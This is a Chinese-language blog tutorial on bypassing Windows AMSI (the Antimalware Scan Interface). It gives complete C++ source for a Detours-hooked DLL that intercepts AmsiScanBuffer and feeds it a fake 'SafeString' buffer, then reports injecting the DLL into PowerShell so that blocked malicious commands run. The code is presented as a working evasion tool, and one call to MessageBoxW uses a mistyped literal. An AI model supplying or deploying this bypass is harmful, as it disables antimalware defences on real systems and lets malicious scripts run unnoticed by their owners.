在之前的文章,hook rdp对外连接的账号密码 中有提到利用Detours进行hook得到rdp的账号密码,今天正好看到绕过AMSI的文章,那我们今天继续利用这个库来达到绕过AMSI的目的。
1、AMSI是什么
根据官方文档 介绍,其叫反恶意文件扫描接口。 然后AMSI的表现是什么呢,就是当你运行一个触发他的规则文件/命令时,就会出现如下的拦截信息:
因此我们的目的就是绕过AMSI,达到执行我们想要的文件/命令。
2、分析AMSI
通过分析AMSI,其检测机制大致为加载amsi.dll进行恶意文件扫描等操作:
根据网上的分析,我们只要能hook AMSI,让其检测到的值以为是安全的,那amsi.dll返回的值我们就是可控的,最后系统就会认为该文件是无害的。
3、hook AMSI
在之前的文章,hook rdp对外连接的账号密码 已经提到了一些Detours的用法,这里再说下其简单的用法。
首先需要知道我们要hook的函数的语法,这里我们要hook的函数为AmsiScanBuffer,其语法介绍在这里: https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
然后我们根据这个函数语法构造一个OriginalAmsiScanBuffer函数,OriginalAmsiScanBuffer函数指针保持真正的AmsiScanBuffer地址。然后再定义一个HookedAmsiScanBuffer函数,该函数中可以进行相应的hook操作,hook结束后,把对应的值回调回第一个OriginalAmsiScanBuffer函数来执行AmsiScanBuffer,最后DllMain的内容在 hook rdp对外连接的账号密码 有提到。
详细代码如下
#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString" static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) = AmsiScanBuffer; HRESULT HookedAmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) { MessageBoxW(NULL, 'hooked', L"amsiContext", 0); return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved ) { if (DetourIsHelperProcess()) { return TRUE; } if (dwReason == DLL_PROCESS_ATTACH) { DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer); DetourTransactionCommit(); } else if (dwReason == DLL_PROCESS_DETACH) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer); DetourTransactionCommit(); FreeConsole(); } return TRUE; }
4、测试结果
我们把第三节里面的代码编译成dll,然后dll注入到相关进程,这里以powershell为例。 在未注入前,恶意命令被AMSI拦截,注入后,成功hook绕过: